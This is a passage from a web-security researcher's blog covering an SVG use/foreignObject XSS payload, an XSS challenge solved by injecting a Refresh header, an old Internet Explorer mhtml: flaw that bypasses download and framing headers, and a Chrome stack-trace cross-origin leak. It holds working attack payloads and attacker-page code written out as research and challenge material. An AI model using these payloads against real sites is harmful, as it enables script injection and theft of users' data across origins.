/>PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgd2lkdGg9IjEwMDAiIGhlaWdodD0iMTAwMCI+CiA8Zm9yZWlnbk9iamVjdCB3aWR0aD0iMTAwIiBoZWlnaHQ9IjUwIiByZXF1aXJlZEV4dGVuc2lvbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPgoJPGlmcmFtZSB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgc3JjZG9jPSImbHQ7c2NyaXB0IHNyYz0nZGF0YTp0ZXh0L2phdmFzY3JpcHQscGFyZW50LnBvc3RNZXNzYWdlKCZxdW90O2EmcXVvdDssICZxdW90OyomcXVvdDspJyZndDsmbHQ7L3NjcmlwdCZndDsiIC8+CiAgICA8L2ZvcmVpZ25PYmplY3Q+Cjwvc3ZnPg==#rectangle"/></svg></code></pre></div><div><br /></div><div><b>Base64 decoded SVG payload:</b></div><div><br /></div><div><div><pre><code class="HTML"><svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="1000" height="1000">
<foreignObject width="100" height="50" requiredExtensions="http://www.w3.org/1999/xhtml"><br /><iframe xmlns="http://www.w3.org/1999/xhtml" <br />srcdoc="&lt;script<br /> src='data:text/javascript,parent.postMessage(&quot;a&quot;, &quot;*&quot;)'<br />&gt;&lt;/script&gt;" /></foreignObject></svg></code></pre></div></div><div><br /></div><div>The solution only works in Firefox<b> as Google Chrome does not support the <i>foreignObject</i></b> tag in the context of the SVG use tag.</div><div><br /></div><h4 style="text-align: left;">Additional notes</h4><div><br /></div><div>Through Twitter messages I was made aware that people were close to solving the challenge. They managed to inject a SVG document via SVG <i>use</i> and used the <i>foreignObject</i> tag to inject an iframe <i>srcdoc</i> document. But as soon as the iframe <i>srcdoc</i> attribute contained "<", it would no longer be loaded. This is different to the standard HTML parsing behavior most people are used to. The parsing difference is introduced by the SVG <i>use</i> element. It references a SVG document, which is a XML based file format. Therefore XML parsing rules are enforced. This means that not only all tags have to be closed correctly but that attributes can not contain "<" - they have to be HTML encoded (eg &#x3c; or &lt;) or else a parsing error occurs and the document isn't rendered at all (some back story about <a href="https://www.youtube.com/watch?v=Q4dYwEyjZcY">HTML vs XML</a>). <br /></div><div><br /></div><div>Lastly - why can SVG <i>use</i> load a document via <i>data:</i>, which is considered same origin and not a unique origin like in the case of eg iframe? </div><div>I have no idea - I know only three things:</div><div>-) Mozilla Firefox treated documents loaded via SVG <i>use</i> and the <i>data:</i> protocol handler as a same origin resource as far as I can remember. </div><div>-) Regarding Google Chrome - I can quote my own blogpost from <a href="https://insert-script.blogspot.com/2014/02/svg-fun-time-firefox-svg-vector.html">2014</a>: "Chrome does not support the data: URL scheme inside the xlink:href attribute of the <use> tag." - but in 2020 it does</div><div>-) The standard doesn't seem to help - maybe I didn't find the correct standard^^:</div><div><br /></div><div><div><a href="https://www.w3.org/TR/2001/REC-SVG-20010904/struct.html#UseElement">https://www.w3.org/TR/2001/REC-SVG-20010904/struct.html#UseElement</a></div><div><i>Unlike 'image', the 'use' element <b>cannot reference entire files</b>.</i></div><div><br /></div><div><a href="https://www.w3.org/TR/SVG11/struct.html#UseElement">https://www.w3.org/TR/SVG11/struct.html#UseElement</a></div><div><i>Unlike ‘image’, the ‘use’ element <b>cannot reference entire files</b>.</i></div><div><br /></div><div><a href="https://www.w3.org/TR/SVG2/struct.html#UseElement">https://www.w3.org/TR/SVG2/struct.html#UseElement</a></div><div><i>User agents <b>may restrict external resource documents for security reasons.</b> In particular, this specification does not allow cross-origin resource requests in ‘use’. A future version of this or another specification may provide a method of securely enabling cross-origin re-use of assets.</i></div></div><div><br /></div><div>I also have to mention that different CSP directives are used for <i><svg><use></i>. Google Chrome applies CSP <i>img-src</i> to the <i>use</i> element as it does not support <i>foreignObject</i> and the resource is considered an image. Mozilla Firefox applies the CSP <i>default-src</i> directive to the <i>use</i> element as it basically a new document and no specific directive exists for the element. Please note that this is only my interpretation. </div><div><br /></div><div>So all in all things are complicated - but don't worry. Mathml has a similar <a href="https://developer.mozilla.org/en-US/docs/Web/MathML/Element/semantics">tag</a> ;) </div><div><br /></div><div><br /></div>Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-22476412831424979042020-03-27T11:52:00.000-07:002020-03-27T11:52:52.374-07:00XSS Challenge Solution - Refresh header<br />
I used my available time to read NoScripts code and discovered an interesting check, which handles a header I either forgot about or never learned. As many people are at home now anyway, I decided to build a short challenge based on that header. This blogpost is about the relevant header, additional information about the header's behavior, the solution and an unintended solution.<br />
In case you only want to see the solution jump to the end of this blogpost.<br />
<br />
<h4>
Challenge Setup</h4>
<br />
The code fetches the string specified in the URLs hash and passes it to chall.php. The goal was to send a postMessage request originating from the iframe. Additionally, I added <i>X-Frame-Options: DENY</i>, so it is not possible to frame <i>start.php</i> and use JavaScript to change the location of the created frame. This would have allowed to bypass the challenge completely.<br />
<br />
<b>File: start.php</b><br />
<pre><code class="HTML"><?php
header("X-Frame-Options: DENY");
?>
<!DOCTYPE html>
<body>
<script>
window.addEventListener("message",function(e){
if (e.source == window.frames[0]){
alert("YOU WIN!");
}else
{
alert("Nope but nice try");
}
});
var challenge = location.hash.substr(1);
if (challenge.length >0 )
{
var hello_user = document.createElement("iframe");
hello_user.src=`chall.php?header=${challenge}`;
document.body.appendChild(hello_user);
}
</script>
<h2>
Welcome to my challenge
</h2>
</body></code></pre>
<br />
<b>Chall.php</b> accepts the HTTP GET variable <i>header</i>. I hacked together a snippet, which parsed the variable and allowed to inject one additional header in the HTTP response.<br />
Additionally I ensured that the HTTP response code is always <i>201 Created</i>.<br />
This ensured that in case eg. <i>Location: http://example.com</i> is injected, the browser won't load this origin as the response code is <i>201 Created</i> and therefore the header is ignored.<br />
Note: I used <i>201 Created </i>as this response code is not overwritten by PHPs <i>Location:</i> header implementation.<br />
<br />
<b>File: chall.php</b><br />
<pre><code class="PHP"><?php
/*
* FAKE HTTP header response injection
*/
error_reporting(0);
$headers = preg_replace("/[\r\n]+/","\n",$_GET['header']);
$headers = explode("\n",$headers);
header("X-User: name-" . $headers[0]);
http_response_code(201);
header($headers[1]);
?>
<h1>Hello :)</h1>
</code></pre>
<br />
<br />
<h4>
The solution - Refresh header</h4>
<div>
<br /></div>
<div>
To summarize: the setup required the usage of <i>postMessage</i> via the created iframe, which allowed to inject one additional response header. It is not possible to just inject a <i>Location:</i> header to load an attacker controlled page because of the <i>HTTP/1.1 201 Created</i> response as browsers will ignore the <i>Location</i> header.<br />
The solution is to inject the <i>Refresh:</i> header, which is identical to the<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Redirections#HTML_redirections"> <i>meta http-equiv="refresh" </i></a>redirect many know about. This header is supported in all modern browsers and even works in <i>HTTP/1.1 201 Created</i> responses. The syntax looks like this:<br />
<br />
<pre><code class="HTTP">Refresh: <time>; url=<theDomain></code></pre>
<br />
As this header allows to redirect to any page, which is loaded in the frame, it is straightforward to send a postMessage to the top page. My intended solution looked like this:<br />
<pre><code class="URL">http://insert-script.com/challenges/challenge1/start.php#abc%0aRefresh:%200;%20URL=data:text/html,%3Cscript%3Etop.postMessage(%22%22,%22*%22)%3C/script%3E</code></pre>
<br />
This triggers the following HTTP response in chall.php:<br />
<pre><code class="HTTP">x-user: name-abc
refresh: 0; URL=data:text/html,<script>top.postMessage("","*")</script>
</code></pre>
<br />
This will immediately load the HTML structure specified via the <i>data:</i> protocol handler in the iframe, which will send a message to <i>start.php</i> therefore solving the challenge. In case you want to learn more about the <i>Refresh:</i> header - I suggest reading the blogpost of otsukare back in 2015: <a href="http://www.otsukare.info/2015/03/26/refresh-http-header">http://www.otsukare.info/2015/03/26/refresh-http-header</a><br />
<br />
<h3>
Additional notes about the solution</h3>
<div>
<br /></div>
Many submitted solutions redirected the iframe to a custom domain. But it is possible to use the <i>data:</i> protocol handler, as the <i>Refresh:</i> header is injected in the context of an iframe. It is not possible to redirect to the <i>data:</i> protocol handler in top level navigations, similar to the <i>Location:</i> header.<br />
<br />
One additional discovery was the possibility to shorten the solution. I assumed it is necessary to specify the <i>url=</i> part in the<i> Refresh</i> header. But this is not necessary:<br />
<pre><code class="URL">start.php#abc%0aRefresh: 0;data:text/html,<script>top.postMessage("","*")</script></code></pre>
<br />
You can see it in action via the meta tag as well:<br />
<a href="https://jsfiddle.net/wL3kun9z/">https://jsfiddle.net/wL3kun9z/</a><br />
<br />
<br />
<h4>
The unintended solution - Chrome/Safari only</h4>
<br />
Let's have a look at the winning condition again:<br />
<pre><code class="JavaScript">window.addEventListener("message",function(e){
if (<b style="background-color: purple;">e.source</b> == <b style="background-color: purple;">window.frames[0]</b>){
alert("YOU WIN!");
}
[...]
var challenge = location.hash.substr(1);
if (challenge.length >0 ) {
/* actually do stuff */
</code></pre>
<div>
When <i>start.php</i> is opened without any data in location hash it does not create an iframe. As no frame is created <i>window.frames[0]</i> is returning undefined. I assumed this is not a problem as the <i>source</i> property of a postmessage event will never be undefined or null (<i>Note: null == undefined // true</i>).<br />
<br />
Michał Bentkowski (<a href="https://twitter.com/SecurityMB">SecurityMB</a>) discovered that it is possible in Google Chrome to use <i>postMessage</i> in such a way that the source property is set to <i>null</i>. As <i>null == undefined</i> returns true, the winning condition is fulfilled, and the alert is shown.<br />
His solution requires a click as the challenge sites needs to be opened in a new window (script triggered popups are blocked by the standard popup blocker).<br />
It is possible to test the solution: <a href="https://jsfiddle.net/7dfmr4ca/">https://jsfiddle.net/7dfmr4ca/</a><br />
<br />
<pre><code class="HTML"><!DOCTYPE html>
<a href=javascript:solve()>CLICK ME<br>
<span id=ifr>
<iframe></iframe>
</span>
<script>
function sleep(ms) {
return new Promise(r => setTimeout(r, ms));
}
async function solve() {
let win = window.win = window.open('http://insert-script.com/challenges/challenge1/start.php', '_blank', 'width=500,height=500');
await sleep(2000);
// Send postMessage from the iframe
frames[0].eval("parent.win.postMessage(0xdeadbeef,'*')");
// Delete the old iframe
// now e.source is null
ifr.innerHTML = 'aaabcd';
}
</script></code></pre>
<br />
Lets check the solution step by step:<br />
1) The HTML contains an empty iframe, which is used later on.<br />
2) As soon as the function <i>solve()</i> is triggered, the challenge is opened in a new window and the code will wait for 2 seconds. This is solely to ensure that the challenge site is properly loaded.<br />
3) <i>frames[0].eval</i> is used to send a <i>postMessage</i> message originating from the iframe to the challenge popup window.<br />
4) Immediately afterwards <i>ifr.innerHTML = 'aaabcd'</i> is used to destroy the iframe.<br />
5) The popup receives the <i>postMessage</i> event but as the source (eg the iframe) is already destroyed, the events source is set to null. Therefore the winning condition is fulfilled.<br />
<br />
This does not work in Mozilla Firefox as it correctly sets the events source property despite the origin, the iframe, being already destroyed.<br />
<br />
I want to thank everybody who participated in the challenge. I learned a lot and therefore I can only suggest everybody to create this kind of challenges as well.<br />
The solutions people discover are really interesting :)<br />
<br /></div>
<br /></div>
Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-48931206219704247152020-01-26T07:57:00.000-08:002020-01-26T07:57:36.672-08:00Internet Explorer mhtml: - Why you should always store user file uploads on another domain<br />
This blogpost is about an issue I discovered some years ago in Internet Explorer. Given that it requires that ActiveX plugins like Adobe PDF or Flash are installed in IE, I feel fine to share it.<br />
<br />
The issue is a combination of the old <i>mhtml:</i> protocol handler and the <i>Content-Disposition: attachment</i> header.<br />
I try to keep this blogpost short but I am aware that <i>.MHT</i> and <i>mhtml:</i> are not that well known so I am going to explain it really quickly. In case you are familiar with this feature, you can skip to the end of this blog post.<br />
<br />
<br />
<h3>
MHT/MHTML - MIME Encapsulation of Aggregate HTML Documents</h3>
<br />
For those who have never saved a complete web page in Internet Explorer, <i>mhtml </i>or its extensions <i>.mht</i> is most likely unknown. <i>MHTML </i>stands for <i>MIME Encapsulation of Aggregate HTML</i> <i>Documents</i>. Wikipedia describes it as a "web page archive format used to combine in a single document the <i>HTML </i>code and its companion resources that are otherwise represented by external links (such as images, Flash animations, Java applets, and audio files)".<br />
<br />
<br />
<b>Filename: test.mht</b><br />
<pre><code class="HTML">Content-Type: multipart/related;
type="text/html";
boundary="----=_NextPart_000_0015_01D57001.44159140"
This is a multi-part message in MIME format.
------=_NextPart_000_0015_01D57001.44159140
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Location: test.html<span style="background-color: white;">
</span>
<HTML>
<body>
<h1>32</h1>
</body>
</html>
------=_NextPart_000_0015_01D57001.44159140
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
<b style="background-color: #0b5394;">Content-Location: test2.html</b>
<HTML>
<body>
<h1>test2.html</h1>
</body>
</html>
------=_NextPart_000_0015_01D57001.44159140
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: base64
<b style="background-color: #0b5394;">Content-Location: base64.html</b>
PGgxPmJhc2U2NDwvaDE+
------=_NextPart_000_0015_01D57001.44159140-- </code></pre>
<div>
<br />
<br /></div>
<div>
You can save this structure with a .mht file extension and open it in Internet Explorer. It will render the file and show <i><h1>32</h1> </i>as it is the first part of the structure<i>. </i></div>
<div>
To be able to reference a specific file inside this structure, the <i>mhtml:</i> protocol handler must be used. </div>
<div>
<br /></div>
<h3>
MHTML: Protocol handler </h3>
<div>
The general structure of the mhtml: protocol handler looks like this:<br />
<pre><code class="HTML">mhtml:<span style="background-color: #0b5394;">*Path to MHT file*</span><span style="background-color: #783f04;">!</span><span style="background-color: #0b5394;">*Content-Location name*</span></code></pre>
<br /></div>
<div>
Let's assume the example structure shown before is hosted on the following URL:<br />
<i><b>http://example.com/test.mht</b></i><br />
<i><br />
</i><br />
In case the test2.html part of the structure has to be loaded, the full URL must look like this:<br />
<pre><code class="HTML">mhtml:http://example.com/test.mht!test2.html</code></pre>
</div>
<div>
<br /></div>
<div>
This tells IE to render the content of this location:<br />
<pre><code class="HTML"><h1>test2.html</h1></code></pre>
</div>
<div>
<br /></div>
<div>
In case the <i>base64.html</i> file gets referenced, IE will base64 decode the content before it is rendered. This behavior is controlled via the <i>Content-Transfer-Encoding</i> header.<br />
<pre><code class="HTML">mhtml:http://example.com/test.mht!base64.html</code></pre>
</div>
<div>
Base64 decoded HTML structure:<br />
<pre><code class="HTML"><h1>base64</h1></code></pre>
<i><br />
</i>These examples only showcased HTML files but the MHTML file structure allows to store any other type of file as well.<br />
It must be noted that in case you want to test these examples, you have to serve the MHT file with the following type. The reason for this necessity will be explained in the next chapter:<br />
<pre><code class="HTTP">Content-Type: message/rfc822</code></pre>
<i><br />
</i></div>
<h3>
The past and the fix</h3>
<div>
<br />
In the past Internet Explorers <i>mhtml:</i> protocol handler implementation did not enforce strict parsing rules.<br />
This behavior was abused in multiple ways. Developer could use it as a fallback for IE versions, which did not support the data: protocol handler. Attacker abused it to attack websites and introduce XSS vulnerabilities or implemented other attack vectors. The following list is a just short glimpse into the ways the <i>mhtml:</i> protocol handler was abused:<br />
<br />
<a href="http://www.phpied.com/mhtml-when-you-need-data-uris-in-ie7-and-under/#comment-74091">http://www.phpied.com/mhtml-when-you-need-data-uris-in-ie7-and-under/#comment-74091</a><br />
<br /></div>
<div>
<a href="https://web.archive.org/web/20110119033036/http://www.80vul.com/mhtml/Hacking%20with%20mhtml%20protocol%20handler.txt">https://web.archive.org/web/20110119033036/http://www.80vul.com/mhtml/Hacking%20with%20mhtml%20protocol%20handler.txt</a></div>
<div>
<br /></div>
<div>
<a href="https://lcamtuf.blogspot.com/2011/03/note-on-mhtml-vulnerability.html">https://lcamtuf.blogspot.com/2011/03/note-on-mhtml-vulnerability.html</a><br />
<br />
<br />
In the end Microsoft deployed a fix, which requires that any MHTML file is served with a <i>Content-Type: message/rfc822</i> or the <i>mhtml:</i> lookup will no longer work.<br />
<br />
<b>Honorable mention:</b><br />
In 2017 mhtml was abused once again - to trigger a universal XSS vulnerability in Chrome: <a href="https://github.com/Bo0oM/CVE-2017-5124">https://github.com/Bo0oM/CVE-2017-5124</a><br />
<br />
<h4>
The Bug: MHTML vs Content-Disposition</h4>
<br />
I discovered that Internet Explorer will ignore the requirement of the correctly set <i>Content-Type </i>header for MHTML files as soon as a <i>Content-Disposition: attachment</i> header is present in a HTTP response. This is not immediately exploitable. Although it is possible to use mhtml: and load a specific resource inside the structure, IE will still trigger a download.<br />
To bypass this restriction and actually parse the resource in the browser , common Internet Explorer ActiveX plugins like Adobe Flash/PDF can be used.<br />
Internet Explorer allows to enforce the rendering of resources via installed ActiveX plugins by using the <i>embed</i> or <i>object</i> tag, which allow to specify the corresponding content type. This behavior does not only allow to interpret the resource as a MHT file and load a resource (eg flash) but no download is triggered. <b>Most importantly </b>the loaded resource is considered in the origin http://example.com/ as <i>mhtml:</i> is not considered as a part of the Same Origin Policy (*Notes about SOP at the end of this post*):<br />
<pre><code class="HTML"><embed src="mhtml:http://example.com/test.mht!test.swf" type="application/x-shockwave-flash" /></code></pre>
<br />
But this behavior has another side effect, which helps an attacker. IE does not only ignore the <i>Content-Type</i> requirement, it will ignore any other security headers. The most common one used to prevent this attack would be <i>X-Frame-Options: deny</i>, which disallows loading the resource in an iframe, embed, object or frame tag.<br />
<br />
<b>Theoretical real world example:</b><br />
<br />
Let's assume <i>example.com</i> has to serve user uploaded files on its own origin, which can be accessed by any authenticated users. It sets the following HTTP headers for these resources to ensure they are never rendered as active content inside the browser.<br />
It does not only enforce a download but it is disallowing framing the resource (X-Frame-Options), sets a fixed and safe type (Content-Type) and disables content type sniffing (X-Content-Type-Options):<br />
<br />
<i><?php</i><br />
<i><b>header("Content-Type: text/plain");</b></i><br />
<i><b>header('Content-Disposition: attachment; filename="test.txt"');</b></i><br />
<i><b>header("X-Content-Type-Options: nosniff");</b></i><br />
<i><b>header("X-Frame-Options: deny");</b></i><br />
<i>echo file_get_contents("userfile.tmp"); // contains the user controlled content</i><br />
<i>?></i><br />
<div>
<br /></div>
<div>
At first an attacker has to upload a MHTML file to example.com - the following example contains a hello world PDF file, but it can be modified to contain a flash file as well. Let's assume it is stored at <i><b>http://example.com/user/123/download.php?id=3</b></i>:</div>
<div>
<br /></div>
<div>
<pre><code class="HTML">Content-Type: multipart/alternative;
boundary="----=_NextPart_000_0000_01D56FF0.D41CF780"
This is a multi-part message in MIME format.
------=_NextPart_000_0000_01D56FF0.D41CF780
Content-Type: application/pdf;
charset="Windows-1252"
Content-Transfer-Encoding: base64
Content-Location: abcd.pdf
JVBERi0xLjEKMSAwIG9iago8PAolCS9UeXBlIC9DYXRhbG9nCgkvUGFnZXMgMiAwIFIKICAgIC9B
Y3JvRm9ybSA1IDAgUgogICAgL09wZW5BY3Rpb24gMTIzIDAgUgo+PgplbmRvYmoKMTIzIDAgb2Jq
Cjw8Ci9UeXBlIC9BY3Rpb24KL1MgL0phdmFTY3JpcHQKL0pTIChhcHAuYWxlcnQoVVJMKSkKPj4K
MiAwIG9iago8PAoJL1R5cGUgL1BhZ2VzCgkvQ291bnQgMQoJL0tpZHMgWyAzIDAgUiBdCj4+CmVu
ZG9iagozIDAgb2JqCjw8CgkvVHlwZSAvUGFnZQoJL0NvbnRlbnRzIDQgMCBSCgkvUGFyZW50IDIg
MCBSCgkvUmVzb3VyY2VzIDw8CgkJL0ZvbnQgPDwKCQkJL0YxIDw8CgkJCQkvVHlwZSAvRm9udAoJ
CQkJL1N1YnR5cGUgL1R5cGUxCgkJCQkvQmFzZUZvbnQgL0FyaWFsCgkJCT4+CgkJPj4KCT4+Cj4+
CmVuZG9iago0IDAgb2JqCjw8IC9MZW5ndGggNDc+PgpzdHJlYW0KQlQKL0YxIDEwMApUZiAxIDEg
MSAxIDEgMApUcihIZWxsbyBXb3JsZCEpVGoKRVQKZW5kc3RyZWFtCmVuZG9iago1IDAgb2JqCjw8
IC9EQSAoL0hlbHYgMCBUZiAwIGcgKSA+PgplbmRvYmoKCnRyYWlsZXIKPDwKCS9Sb290IDEgMCBS
Cj4+CiUlRU9GCiUgYSBuYWl2ZSBQREYgKGZvciBwZGYuanMpIHdpdGggbW9yZSBlbGVtZW50cyB0
aGFuIHVzdWFsbHkgcmVxdWlyZWQKJSBBbmdlIEFsYmVydGluaSwgQlNEIGxpY2VuY2UgMjAxMg==
------=_NextPart_000_0000_01D56FF0.D41CF780--</code></pre>
</div>
<div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Now an attacker has to lure an authenticated user of example.com to his own domain eg. attacker.com, which contains the following HTML structure.</div>
<div>
Note: The HTML structure does not directly specify the <i>mhtml:</i> protocol handler, because this will trigger Windows Defender in IE - so a HTTP redirect has to be used (yeah annoying).</div>
<div>
<br /></div>
<div>
<b>http://attacker.com/test.html</b></div>
<pre><code class="html"><h1> MHTML protocol test case 2 </h1>
<embed src="redir.php" type="application/pdf" height="500" width="500"/></code></pre>
<div>
<br /></div>
<div>
<b>redir.php</b></div>
<pre><code class="php">header("Location: mhtml:http://example.com/user/123/download.php?id=3!abcd.pdf");</code></pre>
<i><br />
</i><b>HTTP response</b><br />
<pre><code class="HTML">HTTP/1.1 200 OK
Date: Sat, 25 Jan 2020 00:27:39 GMT
Server: Apache/2.4.37 (Debian)
Content-Disposition: attachment; filename="test.txt"
X-Content-Type-Options: nosniff
X-Frame-Options: deny
Content-Length: 1269
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain;charset=UTF-8
Content-Type: multipart/alternative;
boundary="----=_NextPart_000_0000_01D56FF0.D41CF780"
This is a multi-part message in MIME format.
------=_NextPart_000_0000_01D56FF0.D41CF780
Content-Type: application/pdf;
charset="Windows-1252"
Content-Transfer-Encoding: base64
Content-Location: abcd.pdf
JVBERi0xLjEKMSAwIG9iago8PAolCS9UeXBlIC9DYXRhbG9nCgkvUGFnZXMgMiAwIFIKICAgIC9B
Y3JvRm9ybSA1IDAgUgogICAgL09wZW5BY3Rpb24gMTIzIDAgUgo+PgplbmRvYmoKMTIzIDAgb2Jq
Cjw8Ci9UeXBlIC9BY3Rpb24KL1MgL0phdmFTY3JpcHQKL0pTIChhcHAuYWxlcnQoVVJMKSkKPj4K
MiAwIG9iago8PAoJL1R5cGUgL1BhZ2VzCgkvQ291bnQgMQoJL0tpZHMgWyAzIDAgUiBdCj4+CmVu
ZG9iagozIDAgb2JqCjw8CgkvVHlwZSAvUGFnZQoJL0NvbnRlbnRzIDQgMCBSCgkvUGFyZW50IDIg
MCBSCgkvUmVzb3VyY2VzIDw8CgkJL0ZvbnQgPDwKCQkJL0YxIDw8CgkJCQkvVHlwZSAvRm9udAoJ
CQkJL1N1YnR5cGUgL1R5cGUxCgkJCQkvQmFzZUZvbnQgL0FyaWFsCgkJCT4+CgkJPj4KCT4+Cj4+
CmVuZG9iago0IDAgb2JqCjw8IC9MZW5ndGggNDc+PgpzdHJlYW0KQlQKL0YxIDEwMApUZiAxIDEg
MSAxIDEgMApUcihIZWxsbyBXb3JsZCEpVGoKRVQKZW5kc3RyZWFtCmVuZG9iago1IDAgb2JqCjw8
IC9EQSAoL0hlbHYgMCBUZiAwIGcgKSA+PgplbmRvYmoKCnRyYWlsZXIKPDwKCS9Sb290IDEgMCBS
Cj4+CiUlRU9GCiUgYSBuYWl2ZSBQREYgKGZvciBwZGYuanMpIHdpdGggbW9yZSBlbGVtZW50cyB0
aGFuIHVzdWFsbHkgcmVxdWlyZWQKJSBBbmdlIEFsYmVydGluaSwgQlNEIGxpY2VuY2UgMjAxMg==
------=_NextPart_000_0000_01D56FF0.D41CF780--</code></pre>
<br />
<b></b> Despite all the headers set by example.com, Internet Explorer will render the PDF and show "Hello World". By loading a malicious flash instead of a PDF file, it is possible to interact with example.com in the context of the victim viewing attacker.com, as the rendered resource is still operating in the example.com origin. It must be mentioned that while re-testing this issue, I was only able to reproduce this SOP behavior for flash files but not for PDF files. Adobe Reader would ask me to allow an emtpy (' ') origin to access example.com.<br />
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-22860906180119189932019-07-26T06:15:00.000-07:002019-07-26T06:15:03.003-07:00Error.prepareStackTrace allows to catch cross-origin script errors <br />
Normally it is not possible to properly catch JavaScript runtime errors, which are triggered by cross-domain JavaScript files via HTML script tags. I discovered that <i>prepareStackTrace </i>can bypass this restriction, when the developer console is opened by the user (I did not discover a bypass for the need of the console yet). This can lead to a cross-domain information leak as shown later. Maybe you, the reader, can find more use cases.<br />
<br />
<h3>
Error.prepareStackTrace</h3>
<br />
I discovered it via the following tweet: <a href="https://twitter.com/intenttoship/status/1146097840118272000">https://twitter.com/intenttoship/status/1146097840118272000</a> > <i>"Blink: Intent to Remove: 'getThis' and 'getFunction' from the CallSite API"</i><br />
<i><br /></i>
This lead me to: <a href="https://v8.dev/docs/stack-trace-api#customizing-stack-traces">https://v8.dev/docs/stack-trace-api#customizing-stack-traces</a><br />
<br />
The JavaScript V8 engine exposes <i>Error.prepareStackTrace(error, structuredStackTrace)</i>, which allows to capture error stracktraces.<br />
The error parameter contains the error description. The structured stack trace is an array of <i>CallSite</i> objects, each of which represents a stack frame. A <i>CallSite</i> object defines the following methods:<br />
<i>- getThis: returns the value of this</i><br />
<i>- getTypeName: returns the type of this as a string. This is the name of the function stored in the constructor field of this, if available, otherwise the object’s [[Class]] internal property.</i><br />
<i>- getFunction: returns the current function</i><br />
<i>- getFunctionName: returns the name of the current function, typically its name property. If a name property is not available an attempt is made to infer a name from the function’s context.</i><br />
<i>- getMethodName: returns the name of the property of this or one of its prototypes that holds the current function</i><br />
<i>- getFileName: if this function was defined in a script returns the name of the script</i><br />
<i>[...]</i><br />
<i><br /></i>
Lets look at an example:<br />
<br />
<pre style="background: rgb(255, 255, 255);"><span style="color: #808030;"><</span><span style="color: #808030;">!</span>doctype HTML<span style="color: #808030;">></span>
<span style="color: #808030;"><</span>meta charset<span style="color: #808030;">=</span><span style="color: maroon;">"</span><span style="color: #0000e6;">UTF-8</span><span style="color: maroon;">"</span> <span style="color: #808030;">/</span><span style="color: #808030;">></span>
<span style="color: #808030;"><</span>script<span style="color: #808030;">></span>
Error<span style="color: #808030;">.</span>prepareStackTrace <span style="color: #808030;">=</span> <span style="color: maroon; font-weight: bold;">function</span><span style="color: #808030;">(</span>error<span style="color: #808030;">,</span>stacks<span style="color: #808030;">)</span>
<span style="color: purple;">{</span>
<span style="color: maroon; font-weight: bold;">alert</span><span style="color: #808030;">(</span>error<span style="color: #808030;">)</span><span style="color: purple;">;</span>
<span style="color: maroon; font-weight: bold;">alert</span><span style="color: #808030;">("FunctionName: " + </span>stacks<span style="color: #808030;">[</span><span style="color: #008c00;">0</span><span style="color: #808030;">]</span><span style="color: #808030;">.</span>getFunctionName<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #808030;">)</span>
<span style="color: maroon; font-weight: bold;">return</span> <span style="color: maroon;">"</span><span style="color: #0000e6;">MyStackObject</span><span style="color: maroon;">"</span><span style="color: purple;">;</span>
<span style="color: purple;">}</span>
<span style="color: maroon; font-weight: bold;">function</span> <span style="color: maroon; font-weight: bold;">test</span><span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: purple;">{</span>
<span style="color: maroon; font-weight: bold;">try</span><span style="color: purple;">{</span>
nothere<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: purple;">;</span>
<span style="color: purple;">}</span>
<span style="color: maroon; font-weight: bold;">catch</span><span style="color: #808030;">(</span>e<span style="color: #808030;">)</span><span style="color: purple;">{</span>
e<span style="color: #808030;">.</span>stack
<span style="color: purple;">}</span>
<span style="color: purple;">}</span>
<span style="color: maroon; font-weight: bold;">test</span><span style="color: #808030;">(</span><span style="color: #808030;">)</span>
<span style="color: #808030;"><</span><span style="color: #808030;">/</span>script<span style="color: #808030;">></span></pre>
<pre style="background: rgb(255, 255, 255);"><span style="color: #808030;">
</span></pre>
<pre style="background: rgb(255, 255, 255);">
</pre>
This will alert the following text: <i>"ReferenceError: nothere is not defined"</i> and <i>"FunctionName: test"</i>. It can be seen that the error parameter contains the string representation thrown by the JavaScript engine, as the function is not defined. The first stack value is the test function as it triggered the runtime error and therefore its name is returned by the <i>getFunctionName</i> call.<br />
<br />
In case you would include remote script via <i><script src="http://remote/remotejs"></i>, which causes an undefined JavaScript error, <i>prepareStackTrace</i> would not catch this error and it would only be displayed in the developer console.<br />
<br />
<b>The developer console</b><br />
<br />
One interesting behavior I discovered is the fact, that <i>Error.prepareStackTrace</i> catches more errors when the developer console is opened. Suddenly it is able to catch <i>"ReferenceError: <> is not defined"</i> errors triggered by remotely loaded JavaScript files.<br />
This does not sound too interesting at first. But modern websites often have JSON resources, which return information in an array like syntax: ["john","doe","address"], which can be loaded via a HTML <i>script </i>tag.<br />
Gareth Heyes explored these kind of resources and <a href="https://portswigger.net/blog/json-hijacking-for-the-modern-web">documented</a> his attack vectors back in 2016. One vector - <i>Stealing JSON feeds in Chrome</i> - abused the <i>script</i> tags <i>charset </i>attribute. By specifying the charset UTF-16BE, the remotely loaded JSON array will be interpreted as an UTF-16 variable. As it is not defined, it will cause a JavaScript runtime error. As usual Gareth abused JavaScript itself to be able to catch this undefined error. After catching the undefined UTF-16 variable, it is necessary to do some bit shifting to convert it back to the original ASCII text, therefore leaking the information to another domain. His way of catching the error was fixed in Google Chrome. <br />
<br />
But <i>Error.prepareStrackTrace</i> allows to catch "remote" undefined errors as well as soon as the developer console is opened. Therefore it is possible to abuse this attack again<br />
<br />
